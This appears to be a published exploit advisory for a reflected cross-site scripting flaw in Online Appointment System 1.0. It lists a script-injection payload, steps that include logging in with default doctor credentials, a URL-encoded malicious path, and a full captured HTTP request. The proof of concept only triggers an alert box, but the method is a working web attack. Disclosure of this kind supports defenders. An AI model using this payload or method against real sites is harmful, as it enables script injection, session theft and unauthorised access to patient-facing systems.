Online Appointment System 1.0 Cross Site Scripting

`# Exploit Title: Online Appointment System V1.0 - Cross-Site Scripting (XSS)  
# Date: 25/02/2023  
# Exploit Author: Sanjay Singh  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/14502/online-appointment-system-php-full-source-code-2020.html  
# Tested on: Windows  
  
use payload="><script>alert(XSS)</script>  
  
1. visit-http://localhost/doctor/applicationlayer/Doctorpatient.php  
  
2. login Doctor account with default credential  
  
3. Click left side add description  
  
4. capture request and put payload   
  
http://localhost/doctor/presentaionlayer/doctor/add.php/wrycv%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E  
  
  
  
request  
  
GET /doctor/presentaionlayer/doctor/add.php/wrycv%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E HTTP/1.1  
Host: localhost  
Cache-Control: max-age=0  
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Windows"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=ocj11iinu8pn536i3cdia0faql  
Connection: close  
  
`